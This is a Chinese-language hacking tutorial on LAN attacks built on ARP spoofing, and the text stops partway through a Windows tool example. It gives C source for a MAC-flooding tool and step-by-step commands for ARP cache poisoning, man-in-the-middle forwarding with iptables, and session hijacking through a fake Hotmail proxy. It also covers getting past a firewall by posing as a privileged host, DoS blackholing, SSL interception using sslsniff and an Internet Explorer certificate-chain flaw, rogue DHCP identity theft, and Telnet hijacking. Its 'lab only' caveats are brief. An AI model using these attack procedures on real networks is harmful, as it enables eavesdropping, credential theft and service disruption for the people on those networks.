明辉站/杀毒教程/内容

战术攻防之近距离搏击篇(ARP)攻击

杀毒教程2023-07-10 阅读
[摘要]作者:紫天星 生活在网络时代里, 我们的生活里多了黑客这样一群神秘人物。 传说中他们放荡不羁, 崇尚自我并行事诡异, 搅动着整个网络命脉, 使其生机无限。 然而现实中, 他们超然的生活于我们周围。 假想在一间忙碌的Office中, 每个员工在自己狭窄的工作空间中埋头于自己手头的事物;能听到...

作者:紫天星

生活在网络时代里, 我们的生活里多了黑客这样一群神秘人物。 传说中他们放荡不羁, 崇尚自我并行事诡异, 搅动着整个网络命脉, 使其生机无限。 然而现实中, 他们超然的生活于我们周围。 假想在一间忙碌的Office中, 每个员工在自己狭窄的工作空间中埋头于自己手头的事物;能听到的声音是手指在键盘挥舞的呵咔声和此起彼伏的电话铃, 有谁有注意到那狭窄的个人空间里, 思维的放任超乎寻常。 飞快的手指间, 各种指令和运作的程序队列般的游行着。 表面上似乎一切都正常, 然而, 或许那里正进行着激烈的电子对抗……。

SANS公布2001来自于内部入侵攻击虽然只占30%左右, 然而产生的危害也最大, 因此局域网络的入侵和渗透更具有实足的硝烟气息。 利用二层链路上ARP协议漏洞而产生的各种攻击方式无疑是局部网络战争最精妙的特技。

一、 基础知识预备

精巧程序的后面藏匿着简单的原理和聪颖的智慧。 为了顺利阐述ARP本身的协议漏洞以及后面将要阐述的各种ARP攻击思维(同时, 我必须顾及那些初次接触网络的朋友, 以致不挫伤他们对网络攻击防御的兴趣), 我们将粗浅的概览ARP协议和相关的网络链路层的一些概念。

ARP(Address Resolution Protocol)简称地址解析协议, 主要用于把以太网卡硬件地址和IP地址捆绑起来。 当主机之间发生通信要求, 则ARP协议通过广播请求/单播回应方式建立主机间通信连接。 大家熟悉的IP地址采用32位长度, 在以太局域网中网卡设备地址是48位长度(也称为MAC地址)。 一张称为ARP缓存的表单用于维护MAC地址和其所对应的IP地址的相关性。 ARP则提供用于在网络设备间进行地址转换和创造MAC-IP相关性的协议规则。

网络链路层的建立通信关系的准则:网络主机A欲与网络主机C建立通信连接, 主机A在网络中广播ARP的请求数据包(REQUEST), 如图一:

主机A欲与IP地址为192.168.1.3的目标主机通信, 则发送的广播的数据包中包含本身的IP地址、网卡的MAC地址、目标主机的IP地址以及广播MAC地址(FF-FF-FF-FF-FF-FF)。

(注:Mac地址是媒体接入层上使用的地址, 直观的概念就是网卡的物理地址, Mac地址一般都采用6字节48bit。 )

主机C接收到ARP的REQUEST广播包, 发现目标地址中IP地址与自身IP地址一致, 接收该数据请求, 并作出响应。

从图二中, 可以看到主机C发现主A的ARP请求符合要求, 在自身ARP缓存表中添加主机A的IP-MAC绑定映像记录, 并发送单播ARP回应数据包(RELAY)给主机A。 主机A接收到回应数据包, 更新其ARP缓存表记录, 绑定主机C的IP-MAC映像记录。 至此, 二层通信关系建立完毕。 而网络中其他主机则忽略此请求包。

这种关系可以类似于情景会话↓

主机A:嗨, 谁主机的IP地址是192.168.1.3?

主机B:嗨, 我主机地址是192.168.1.3,我的门牌号是00-50-56-C0-08, 记得来找我啊。

其他主机:NO, 这不是我的IP地址。

从原理分析发觉ARP本身是无类协议, 本身不能携带任何状态信息。 因此ARP协议不能进行任何认证, 这样就导致协议本身具有安全威胁性。 造成这种安全威胁的历史原因在于:早先的网络创造者们是在一个平和自由的环境中设计ARP协议, 因而安全问题在当时几乎是琐碎的事情。 然而网络集聚膨胀, 破坏性攻击和入侵事件的增加, 使得ARP协议脆弱不堪。

了解ARP工作原理之后, 可以得出:大部分网络系统中的ARP缓存列表根据所接收的ARP REPLAY数据包动态增加或更新缓存表中IP-MAC映射记录。 根据这样一条简单规则, 我们将看到各种绚丽的入侵和攻击手法。

二、 攻击分类

*ARP缓存中毒

这是个非常有意思的标题—“中毒”, 这能让我联想到霉绿色的空气和腐锈的红色河水, 毕竟地球区域生态环境令人担心?。

ARP缓存中毒其实质并没有字面含义那么可怕。 还记得前面所提高过ARP缓存表的概念吧, 事实上每个网络设备都有一个APR表, 其中临时记录着匹配的设备MAC和IP地址映射对。 它保证这些记录具有唯一性, 即一个IP只单独映射一个MAC。 又由于ARP本身不具备认证信任机制, 因此欺骗行为变的泛滥。 当网络设备发送ARP REQUEST时, 它完全相信ARP REPLY回应是来自于正确设备, 因为它不能验证回应数据包是否确切从正确的设备发送的。 更糟糕的是, 许多操作系统并不需要发送ARP请求数据包就直接承认其他设备发送的ARP回应数据包。

这样垃圾方式的设计让入侵变的肆意, 而防御却无奈了许多。 假设我是一个黑帽, 我知道ARP并无验证行为, 而且系统不需要发送请求数据包就可接收ARP的回应数据包。 我会怎么做?创建一个貌似合法的ARP REPLY数据包, 其中伪造我所希望的MAC和IP地址, 并发送给盲目接收此类数据包的主机系统。 结果, 这种方式欺骗主机使其更新我所希望的MAC-IP地址映射对。 当然, 我可以肆意广播这种ARP REPLY数据包, 愚弄整个网络系统所有主机(?冷)。

现在你知道了ARP的一个小技巧, 我们称其为:ARP缓存中毒。 正是通过它, 无数的发明创造出来, 正如轮子的发明可以和人类登月媲美, 简单的发明可以翘动地球。

*MAC泛洪攻击(Flooding)

现在的网络结构大多数使用交换方式(Switched)结构取代早先的的广播方式(Broadcast), 这样的优势在于交换机不会向每个端口无聊的推送广播风暴, 它稍微智能的判断需要推送数据的端口, 这让那些层在HUB方式连接的下大显神威的嗅探器(snffer)感到憋足。

然而进步的力量有时候令“安全”变的很娇嫩。 交换机启用端口安全特性(Port security)需要消耗部分的CPU, 当交换处理超负载后, 交换机就无法处理端口安全, 此时交换机陷入了HUB模式, 数据被简单的广播到网络中的每台计算机中, 于是窃听活动仍然可以继续。 于是利用大量的伪造ARP REQUEST数据包对交换机的ARP表进行泛洪攻击(ARP缓存表中毒的典型运用), 可以轻易使很多厂商交换机负荷过载(CISCO 1900和3COM superstackII就容易遭受攻击), 此刻交换机处于类似HUB工作方式, 因而可轻松使用包嗅探器刺探整个网络。

macof的小程序轻松了实现了这样的功能, 其代码实现如下:

---------------snip-------------------

/* 本程序的作者是Dug Songdugsong@m.org, 由于这里只需要实现MAC FLOODING的攻击, 所以我对程序做了精简, 便于读者直观了解MAC FLOODING的攻击原理。 另外, macof的最早作者是Ian Vitek, 采用Perl进行编写的, 我在软件包中收录了这两个程序, 提供读者参阅。

*/

#i nclude "config.h"

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude "version.h"

extern char *ether_ntoa(struct ether_addr *);

extern struct ether_addr *ether_aton(char *);

in_addr_t Src = 0;

in_addr_t Dst = 0;

u_char *Tha = NULL;

u_short Dport = 0;

u_short Sport = 0;

char   *Intf = NULL;

int Repeat = -1;  //导致伪造MAC的无限循环

void usage(void) {

fprintf(stderr, "Version: " VERSION "\n"

"Usage: macof ");

exit(1);

}

void gen_mac(u_char *mac) {

    //产生随机MAC地址

*((in_addr_t *)mac) = libnet_get_prand(PRu32);

*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);

}

int main(int argc, char *argv[]) {

int c, i;

struct libnet_link_int *llif;

char ebuf[PCAP_ERRBUF_SIZE];

u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];

in_addr_t src, dst;

u_short sport, dport;

u_int32_t seq;

u_char pkt[ETH_H + IP_H + TCP_H];

if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)

errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)

errx(1, "%s", ebuf);

libnet_seed_prand();

for (i = 0; i != Repeat; i++) { 

gen_mac(sha);

    gen_mac(tha);

    src = libnet_get_prand(PRu32);

dst = libnet_get_prand(PRu32);

sport = libnet_get_prand(PRu16);

dport = libnet_get_prand(PRu16);

seq = libnet_get_prand(PRu32);

//伪造貌似合法MAC地址

libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);

libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,

   IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);

libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,

    0, NULL, 0, pkt + ETH_H + IP_H);

libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);

libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);

if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)

  errx(1, "write");

fprintf(stderr, "%s ",

  "源MAC地址:"ether_ntoa((struct ether_addr *)sha));

fprintf(stderr, "%s\n %s:%d > %s:%d\n",

  "目标MAC地址:"ether_ntoa((struct ether_addr *)tha),

  "源IP地址/端口:"libnet_host_lookup(Src, 0), sport,

  "目标IP地址/端口:"libnet_host_lookup(Dst, 0), dport);

}

exit(0);

}

-----------------snip end-----------------------------

#macof 测试

[root@hackersvr /]# macof

源MAC地址:77:6b:e1:6e:5e:8c目标MAC地址:93:2d:ed:45:f9:e3

源IP地址/端口:0.0.0.0:45702目标IP地址/端口0.0.0.0:11000

源MAC地址:84:a4:d3:57:ef:8目标MAC地址:12:56:52:42:dc:95

源IP地址/端口:0.0.0.0:16630目标IP地址/端口0.0.0.0:3031

源MAC地址:f0:9:3f:18:89目标MAC地址:1d:86:53:53:d7:f8

源IP地址/端口:0.0.0.0:15535目标IP地址/端口0.0.0.0:7466

…………

此程序伪装大量ARP回应数据包, 导致交换机过载处理, 因而陷入HUB方式处理数据包, Port Security特性失效。 通过这种方式导致网络安全再度陷入了窃听的恐慌之中(注意:本程序只做实验用途, 严禁使用于任何工作环境, 否则将导致网络瘫痪或交换机硬件重置)。

*ARP欺骗行为

虽然MAC泛洪的攻击方式带了一些恐慌, 但是由于这种方式在很多场合成功概率不高, 且这种攻击方式太过于激进, 以至于聪明的网管能很快分析网络并马上制止这种行为的扩散, 因此一种称之为ARP欺骗的隐蔽的ARP中毒演变攻击进入了Cyber空间。

首先假设一个场景:假如主机A要想获得主机B的MAC, 它需发送arp-request数据包到广播地址, 主机B会以自身地址回应这个请求。 但假如主机C在主机B之前作出回应。 主机A则在其缓存中设置主机C的MAC地址。

12:50:31.198300 arp who-has hostB tell hostA   [1]

12:50:31.198631 arp reply hostC is-at 4e:73:02:4b:3f:94  [2]

于是我们构造了欺骗行为, 但由于主机A发送的是广播包, 因此主机B也会应答:

12:50:31.198862 arp reply hostB is-at 4e:80:51:d1:5e:f5  [3]

那么主机A的ARP缓存很有可能被刷新, 但是由于缓存的无验证即时更新机制, 只要主机C不断发送伪造的回应包, 那么主机A的缓存列表中就能一直保存主机C的MAC地址。 (假如主机不发送arp-request, 向其发送arp-reply并无太大意思, 因为缓存不会更新一个不存在的记录)。 其实现原理如图:

了解ARP欺骗的方式后, 其准确定义如下:利用以太和IP协议之间的交互关系而形成的攻击方法, 比如, 伪造目标计算机的MAC地址以获取其控制权。 其表现形式为构造虚假arp-request和arp-reply数据包以实现欺骗目的。

这种欺骗方式主要用于交换网络结构(对于HUB结构, 可以直接对目标主机进行强制控制, 使用欺骗方式似乎是种累赘),因此交换网的坚固性似乎变的脆弱很多。

使用arpoison小程序可以发送自定义硬件和IP地址的arp-reply包给目标主机, 对其实行欺骗行为。

[root@hackersvr arpoison]# ./arpoison –I eth0 –d {hostA_ipaddr} –s {hostB_ipaddr}

–t 00:13:0E:19:85:03 –r {hostC_mac_addr}

ARP packet sent via eth0

# 1、主机C大量使用自己MAC回应主机A的请求, 导致主机A被蒙骗与主机进行通信。

# 2、假如{- r}参数所设置的MAC为一个不存在的MAC地址, 则会导致主机B与主机C之间的TCP

# 会话临时性强行断开。

# 3、假如想更新网络中所有主机系统, 可以发送广播MAC地址FF:FF:FF:FF:FF:FF

*中间人攻击(Man In the Middle, MIM)

在ARP方式的攻击, 最有意思的环节莫过于MIM, 这种非常隐蔽方式可以在两台通信的计算机之间进行桥接方式的监听, 并且非常不容易被发现, 可谓是偷盗学术上的典范运用。

攻击原理如图:

攻击者驳接本地网络, 分别向主机A和主机B发送适当的伪造Arp-reply包, 蒙蔽其所认为的正确的通信目标, 并建立转发规则, 实现主机A与主机B之间的数据通信。 使数据链路表面上看似A与B的正常通信, 实则通过了攻击者的机器进行代理转发。

采用arptool可以轻松实现这类入侵方式:

# arptool用法: arptool

#                用于发送数据包的网卡

#                  发送的ARP类型包

#         tell    arp-reply类型数据包

#         bcast   当攻击对象是linux操作系统, 可使用此参数代替tell

# /        目标IP/MAC地址对

# /        源IP/MAC地址对

# 1、分别对主机A/B实施ARP攻击

[root@hackersvr arptool]#ping 192.168.1.1

[root@hackersvr arptool]#ping 192.168.1.2

[root@hackersvr arptool]#arp –a

?(192.168.1.1) at 01.01.01.01.01.01 [ether] on eth0

?(192.168.1.2) at 02.02.02.02.02.02 [ether] on eth0

[root@hackersvr arptool]# ./arptool eth0 tell 192.168.1.1 01:01:01:01:01:01 192.168.1.2 03:03:03:03:03:03

[root@hackersvr arptool]#./arptool eth0 tell 192.168.1.2 02:02:02:02:02:02 192.168.1.1 03:03:03:03:03:03

# 现在我们可以透明代理主机A/B之间的应用程序数据通信?, 比如攻击者可以修改主机A/B之

# 间的HTTP事务提交, 但这需要我们在其间建立桥接转发关系。

# 2、桥接主机A/B之间通信

[root@hackersvr arptool]#e cho 1 > /proc/sys/net/ipv4/ip_forward

[root@hackersvr arptool]#iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2 -d 192.168.1.1 --dport 80 -j REDIRECT --to-port 80

# 通过这种方式, 我们可以监听、修改、切断和劫持主机A/B之间的任何应用通信数据, 似乎整

# 个网络陷落在一种前所未有的慌乱之中。

*知识组合攻击

   arp-sk在arp方式攻击中, 享有“瑞士军刀”的美誉, 它可以维护所有设备的ARP表。 通过发送适合的ARP数据包, 它可以实现ARP的所有类型攻击, 非常强悍的工具。 本节将采用arp-sk讲解会话劫持、偷越防火墙和拒绝服务攻击的思维方式。

1、 代理会话劫持(hijacking)

# 攻击者架设HTTP服务器模拟远程网站的一部分站点(这部分网页用于劫持主机B客户输入相关信

# 息, 例如用户名或ID)。 而不需要模拟的站点则代理转发至真实站点, 这种高超的诈骗技巧非常

# 隐蔽。 当我们尽情享受网络冲浪的愉快时, 谁会想到这是个陷阱?

# 发送arp-reply分别攻击防火墙和目标主机

[root@hackersvr arp-sk]# ./arp-sk -r -d 192.168.1.2 -S 192.168.1.4 -D 192.168.1.2

+ Running mode "reply"

+ IfName: eth0

+ Source MAC: 03:03:03:03:03:03

+ Source ARP MAC: 03:03:03:03:03:03

+ Source ARP IP : 192.168.1.4 (gateway)

+ Target MAC: 02:02:02:02:02:02

+ Target ARP MAC: 02:02:02:02:02:02

+ Target ARP IP : 192.168.1.2 (hostB)

[...]

[root@hackersvr arp-sk]# ./arp-sk -r -d 192.168.1.4 -S 192.168.1.2 -D 192.168.1.4

+ Running mode "reply"

+ IfName: eth0

+ Source MAC: 03:03:03:03:03:03

+ Source ARP MAC: 03:03:03:03:03:03

+ Source ARP IP : 192.168.1.4 (hostB)

+ Target MAC: 04:04:04:04:04:04

+ Target ARP MAC: 04:04:04:04:04:04

+ Target ARP IP : 192.168.1.4 (gateway)

[...]

# 代理转发非hotmail(207.68.171.233)的一切站点(攻击者模拟hotmail站点, 伪装提供服务)

[root@hackersvr arp-sk]# iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2 \

-d !207.68.171.233 --dport 80 -j REDIRECT --to-port 80

# 当使用转发设置, 目标主机使用ping命令可以检测到其数据包的重定向, 因此这里阻挡icmp重

# 定向的信息。

[root@hackersvr arp-sk]# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects

# OK, 剩下的事情就是如何如何使用嗅探工具、数据捕获工具或自行定义的脚本来观测目标主机的# 冲浪行为, 并可以掌握他所有一切上网信息, 诸如:邮件帐户、论坛ID等。 (这些使用方法超出

# 本文所论述的arp攻击行为, 不予讨论)

2、 偷越防火墙

# 网络权利的不均衡总惹闹一些自负的家伙。 由于网管的存在和防火墙的规则的设置, 使得某些具

# 有特权的计算机才能任意的访问整个互连网, 这为其它机器的使用者潜埋下嫉妒和羡慕的心理成

# 分。 为了反击这种权利不均衡, Arp方式的欺骗访问再一次获得成功!?

# 原理图六中, 虚线代表主机B的正常出网访问, 通过Arp攻击后, 攻击者以主机B的身份特权对

# 互连网进行任意访问, 并分离主机B的网络访问, 使主机B网络访问正常无异, 防火墙的访问限

# 制形如虚设。

# 只需要对防火墙进行攻击, 不需要对主机B实施攻击

[root@hackersvr arp-sk]# arp-sk -r -d 192.168.1.4 -S 192.168.1.2 -D 192.168.1.4

# 使用Linux的Netfilter框架, 很容易分离属于攻击者网络访问流和属于主机B的网络访问流

[root@hackersvr arp-sk]# iptables -t nat -A POSTROUTING -j SNAT --to 192.168.1.2

# 一切的完美几乎就在几句简单的语句之间完成, 我想起史蒂文?列维的几句真言:

# 1、进入(访问)计算机应该是不受限制的和绝对的;

# 2、一切信息都应该是免费的;

# 3、怀疑权威, 反对垄断;

# 4、任何一个人都能在计算机上创造艺术和美;

# 5、计算机能够使生活变得更美好

# 于是, 攻击在此刻似乎也变的美丽了许多。

3、 拒绝服务攻击(DoS)

# 有了上面学习过程, 这里实现Dos攻击的方式变的相当简单, 对于攻击者所代理转发的数据包进

# 行阻塞, 从而达到这种卑劣的目的。 (我相当反感这种攻击方式, 因此我也非常讨厌驾御它进行

# 攻击的人, 因此我希望这类攻击方式只用于实验目的, 不要滥用!)

# 利用Linux得力的iptables工具, 方便实现数据堵塞

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.1 -j DROP

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.2 -j DROP

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.4 -j DROP

# 另一种方式是制造一个Mac”黑洞”, 既使用不存在的mac地址使目标主机从网络地图上消失。

# 如下句法使hostA认为hostB已经离开网络了:

[root@hackersvr arp-sk]# arp-sk -r -d hostB -S hostA --rand-arp-hwa-src -D hostB

通过了解Arp原理, 我们发现这些攻击方式非常有趣, 并且思路简单, 实现方法也相当容易。 但这些小技巧不过是Arp攻击的基础层面, 下面的部分将深入讨论一些Arp高级利用技巧, 其攻击思维的精妙之处令我赞叹不止。

三、 ARP攻击进阶

*SSL深度刺穿

前面阐述过使用MIM攻击方式可以在交换网环境中对任意主机进行窃听活动, 于是用网络传输任何敏感数据是非常危险的, 当输入信用卡的ID的时候, 当发送私人邮件时, 你是否会想象这网络的另一端已经布置了陷阱, 等着你发送自动把自己的秘密泄露呢?所以利用私钥加密的传输方式变的非常风靡, 因为我们非常信任CA, 所以我们把自己放置于一个依赖“信任”的网络安全环境中进行着各种交易。

而流行的SSL协议在这种信任环境中扮演极其重要的角色, 由于其加密通道内包含了重要资信和数据, 一时间它成为许多窃听高手的重要目标。 本文将以微软糟糕的IE为例, 讲述如何从其加密的通道内窃听信息。

众所周知, 微软总向世人鼓吹其浏览器128位加密的强大好处, 其SSL安全机制的完美。 殊不知, 由于其追求快速开发和节约成本的代码压缩, 导致其结构本身存在许多漏洞。 在IE的SSL实现中, 一个特征漏洞是可以对其进行主动而无法侦测的MIM攻击, 并且浏览器不会给出任何警告对话框。

在构建加密通道站点时候, 管理员需要产生一个经过CA签名的证书, 证书中DN部分的CN设置应该为安全站点的URL地址。 如果我们想建立安全的www.hakcerxfiles.net的安全站点, 我们需要申请的证书结构形式大体为:

[CA颁发者:VeriSign / 信任授权体:VeriSign]

->[CA颁发者:VeriSign / 信任授权体:www.hackerxfiles.net]

当浏览器接收到此证书, 它会自动验证CN字段和其所连接的域是否匹配、其证书是否使用了权威CA机构的签名。 利用MIM攻击方式似乎很无力, 毕竟伪造一张拥有合法CN字段和合法签名的证书困难相当之大。

然而在现实当中, 更多的CA证书机构是以中间人的形式来办法数字证书的。 这意味着www.hackerxfiles.net很可能得到的数字证书结构:

[CA颁发者:VeriSign / 信任授权体:VeriSign]

->[CA颁发者:VeriSign / 信任授权体:CA中介]

->[CA颁发者:CA中介 / 信任授权体:www.hackerxfiles.net ]

当浏览器接受此证书, 其会严整认证分支链路证书的CN值是否与所连接的域名匹配、其是否被中介CA签名、中介CA是否被权威CA记过签名。 最后, 浏览器还检查所有中介CA是否具有合法的CA基本约束(Basic Constraints, 关于证书认证链路的路径深度的概念, 具体可参阅RFC2459文档4.2.1-10部分的解释)。

整个认证过程看起来很完美, 但IE在设计SSL的时候却在整个认证链路过程中省略CA基本约束(偷工减料无疑是制造了一个接一个垃圾功能?)。 这意味着任何拥有域的合法CA签名证书的用户可以为其他域产生一个合法的CA签名证书(由于缺少基本约束, 浏览器无法判断CA证书子结构是中介CA机构还是最终用户实体)。

首先, 作为hackerxfiles的站点管理员, 我产生一个证书, 并向CA请求一个合法签名:

[CA颁发者:VeriSign / 信任授权体:VeriSign]

->[CA颁发者:VeriSign / 信任授权体:www.hackerxfiles.net]

接着, 我为所需要认证的域产生一个证书, 并用我申请的CA证书为其签名:

[CA颁发者:VeriSign / 信任授权体:VeriSign]

->[CA颁发者:VeriSign / 信任授权体:www.hackerxfiles.net]

->[CA颁发者:www.hackerxfiles.net / 信任授权体:www.163.com]

由于IE不对www.hackerxfiles.net中介证书进行基本约束检查, 因此它承认www.163.com的证书合法性。 OK, 发觉没有?任何拥有权威CA签名证书的用户可以对其他人进行“合法欺骗”!!!!

熟悉这个漏洞后, 设计的MIM SSL会话劫持攻击原理图如下:

# 安装sslsniff-0.4.tar.gz

[root@hackersvr tools]#tar zxvf sslsniff-0.4.tar.gz

[root@hackersvr sslsniff-0.4]# make

# 这里可以把合法的SSL数字证书和私钥合并到文件伪造证书, 也可以使用软件本身附带的

# trust.crt文件作为伪造证书, 完成与可户端的SSL握手。

# 监听443端口请求并重定向其到5555, 并使用伪造证书进行欺骗

[root@hackersvr sslsniff-0.4]# ./sslsniff –p 5555 –c trust.crt

# 建立数据代理转发机制

[root@hackersvr sslsniff-0.4]#e cho 1 > /proc/sys/net/ipv4/ip_forward

[root@hackersvr sslsniff-0.4]#iptables –t nat –A PREROUTING –p tcp –destination-port 443 –j REDIRECT –to-ports 5555

# 利用arp-sk对目标主机进行ARP欺骗攻击, 目标主机将通过攻击者主机代理所有数据。

arp-sk -r –d 192.168.1.2 -S 192.168.1.3 -D 192.168.1.2

# 至此, 整个窃听体系建立完毕

# 在攻击者收到客户端的连接, 将制造一个到真实安全站点的连接, 并查询服务器的证书信息。

# SSLsniff产生一个中介CA数字证书, 并用合法的trust.crt签名, 使其成为合法终端实体用户

# 证书。 Sslsniff使用产生的证书认证链路与客户实现SSL握手认证并代理期间的任何数据。

# 由于IE设计SSL认证链路的漏洞, 浏览器并不会提出任何警告。 其攻击方式的新颖另人叹服。

# 对于IE5和IE5.5版本, 漏洞攻击是非常轻松的。 而IE6而言, 则需要选择适合的权威机构CA

# 签名, VeriSign颁发的证书中, 其CA基本约束没有设置任何信息;而Thawte颁发的证书则明确

# 设置了”Basic Constraint CA = FALSE”。 如果IE6发现这样的设置并不会跟从数字证书认证

# 链路。 则无法实现窃听, 反之则可顺利监听IE内SSL的一切数据活动。

通过精巧的方式, 加密技术变的无所适从, 于是一切疑惑又回到“信息保密是管理问题?还是技术问题?”的无尽争论中。

(附:非常感谢Mike Benham对本节内容的技术指导和email中为我解答的几个疑惑问题, 在此表示致敬)

*利用DHCP攻击

DHCP的设计的确为网络管理员的懒惰带来良好的借口。 使用DHCP动态分配主机IP的方式, 使的局域网络的管理也简洁很多。

为能以清晰的概念如何利用DHCP服务进行攻击, 首先了解下DHCP服务器是如何动态分配的:

1、 客户端发送一个DHCP的侦察包(discovery)给服务器, 其中包含请求IP地址的信息。 客户端的网卡接口或许会请求它原来所租用的IP地址。

2、 服务器发送DHCP供应包(offer), 通知所提供的IP地址给客户端。

3、 客户端发送DHCP请求包(request), 通知DHCP服务器客户端需要服务器所提供的IP地址。

4、 服务器发送DHCP确认包(ack), 确认客户端已发送的申请要求。 客户端绑定服务器所提供的IP地址。

5、 客户端绑定默认网关, DNS服务等DHCP所提供的网络设置。

掌握DHCP服务的运作原理后, 我们能做些什么?(学者会继续深究这个原理;而黑客却会思考如何利用这个原理, 这也许就是学者与黑客的区别之一吧)。 每个网络里独立存在一台DHCP服务器进行IP动态分址服务, 假如在加入一台DHCP, 效果怎样?于是网络中爆发了DHCP服务大战, 谁胜利谁就占有主机的分配权。 那么制造一台DHCP服务器, 并使其赢得分配权, 则可以对主机设置虚假的网关和虚假DNS服务, 轻松的实现MIM攻击(绝对的好思路?)。

当然, 上述的做法过于野蛮, 另一种精致的做法使:利用ARP欺骗攻击可以从DHCP服务器中偷窃一部分可租用的IP地址(过份的做法是全部偷窃, 欺骗正常DHCP其租用空间满载)。 伪造DHCP服务器, 并使用欺骗所获得的IP地址进行分配活动。 而客户端将得到攻击者伪造的默认网关和伪造的DNS服务器。 在伪造默认网关实现监听;或使用伪造DNS重定向用户HTTP访问到黑帽的服务器, 进行应用级的偷窃活动。 一切依然简单, 而且使用的也仅仅是简单的ARP攻击。

下面来看看另一种有意思的攻击方式——偷窃主机“身份标识”。

许多主机都喜欢DHCP分配相同的IP地址。 而管理员则维护了一张MAC-IP的地址列表以便于这种固定的分配。 那么通过对一个指定主机的MAC地址进行欺骗, 并请求正确的IP地址, 那么这个主机的身份标识将被偷窃。 为了实现这个目的, 首先将目标机器Dos攻击。 并在目标机器重新启动前, 对DHCP实施IP请求, 偷窃目标身份标识。 一旦偷窃成功, 则此状态将存于DHCP的MAC-IP地址列表中。 (偷取目标主机的身份标识当然为了是采用借刀杀人, 栽赃陷害的假名攻击方法)。

实现原理如下:

从攻击原理图知道, 具体实现分为三步:

1、 对目标主机实行ARP拒绝服务攻击。

2、 在机器重新启动前, 偷窃目标主机所分配的IP地址, 使目标主机更新其原有地址。

3、 启动伪造DHCP服务器, 希望在DHCP争夺战能分配IP地址。

(注:其攻击实现的代码程序我已收录到tools工具包, 请参阅相关目录)

如果局域网络中使用DHCP服务进行IP分址服务, 那么进行ARP欺骗行为的攻击是相当容易的, 除非网络管理员在DHCP服务器对主机的IP地址和MAC进行绑定, 但这样一来, 使管理网络变的复杂化一些。 因此从某种意义上说, 网络安全和管理方便之间是一对矛盾体, 越安全的网络环境, 其管理辛劳程度自然也加大很多。

当掌握理论的时候, 就该推进到如何利用的阶段了, 这也是互连网Howto热门起来的原由之一。

四、 具体入侵实例

本节将给出具体实例, 分别实现MIM嗅探数据、TCP会话劫持和DoS攻击。 虽然操作简单, 但考虑到对网络的危害比较大, 请有兴趣的朋友搭建实验环境进行测试, 不要在正常的交互网络进行这些非法行为(由于前面部分分析了这些攻击行为的原理, 这里只叙述攻击流程, 不在详述其原理)。

(另注:本小节的实现是在土豆大哥的善意指点下而完成的。 这些中肯的意见让我能认真的面对写作, 尽量把一些肯綮难解的思想写的通俗易懂, 不辜负喜欢看我文章的读者, 也在此对土豆大哥致礼)

网络环境

用户    IP:192.168.1.36(win2k)

服务器  IP:192.168.1.244(win2k)

攻击者  IP:192.168.1.246(Redhat7.2)

(注:三台机器是连在同一个交换机)

1、 MIM嗅探数据实例

* 获取服务器和目标主机的MAC地址

* 分别对服务器和目标主机实现ARP欺骗

* 开启IP转发, 并实施嗅探

从截图, 我们可以看见攻击者(192.168.1.246)在三层网络环境下重定向并嗅叹了用户(192.168.1.36)到WEB服务器(192.168.1.244)的HTTP会话过程。 编辑Ethereal的捕捉规则还可以嗅叹POP3、Telnet和Ftp等登录过程, 从而轻松获取帐户。

2、 TCP会话劫持实例

  使用和MIM嗅叹同样的方法获取MAC地址, 并对主机实行ARP欺骗攻击。 接着, 劫持一个监测的会话, 利用合法用户进行连接并通过验证, 使攻击者合法接管会话过程。

  * 使用hunt监测并劫持一个Telnet会话

  

* 在劫持过程中, 接管会话并修改发送命令

整个Telnet劫持会话中, 发送一个mkdir test命令, 欺骗服务器认为此命令是合法用户发送的, 因此接受此命令操作, 会话劫持完成。 此类操作及其简单, 但可以假冒合法用户进行正常的服务器操作, 威胁性巨大。

3、 DoS攻击实例

* 对主机发送大量伪造ARP reply数据包, 导致其认为192.168.1.20已经“死亡”。

* 受害主机截图

此刻, 主机已经无法Ping通192.168.1.20的地址, ARP的DoS攻击完成。

  * 数据包截图分析

从截图可以发现不断向192.168.1.36发送随机Mac刷新其记录中192.168.1.20的幻存记录, 导致其无法对192.168.1.20进行正常网络访问。 这种简单的阻断攻击不但造成网络中Arp-reply的广播风暴, 导致网络性能下降;严重还会让整个三层交换网络陷落于无穷的“绝缘”状态之中。

4、 windows平台ARP欺骗实现

考虑到许多读者还未接触过Linux或者对其来不太了解, 因此本节将介绍两个关于Windows平台下实现Arp攻击的小工具:winarp_sk和win_mim(两款软件需要wincap包的支持, 已经收录到tools软件包)。

Winarp_sk是arp_sk的Windows平台实现, 其设计思想和arp_sk别无二致, 只不过是在windows平台实现此类攻击。 下面介绍其使用方法, 感兴趣的读者可以根据前面所熟悉的攻击方式在windows平台下进行攻击测试。

winarp_sk.exe -m mode [-D dst_ether_addr] [-S src_ether_addr]

                   [-F sender_MAC] -d sender_IP [-T target_MAC]

                    -s target_IP [-t delay] [-c count]

-S: 以Windows格式设置数据包MAC源地址。

   如果不做任何设置, 将发送本机的MAC地址。

-D: 以Windows格式设置数据包MAC源地址。

   一般使用参数-d所指定主机的MAC地址。

注意: Windows下面MAC地址的形式为: XX-XX-XX-XX-XX-XX

-m: 设置发送ARP类型包

   1 : 制作一个ARP-request数据包

   2 : 制作一个ARP-reply数据包

-F: 设置发送主机的MAC地址

   默认使用本地主机MAC进行发送

-s: 设置发送主机的IP地址

-T: 设置目标主机的MAC地址

-d: 设置目标主机的IP地址

举例一:

winarp_sk.exe -m 2 -s 192.168.1.1 -d 192.168.1.10

+ ETH - Destination MAC : 00-10-B5-AC-1D-00

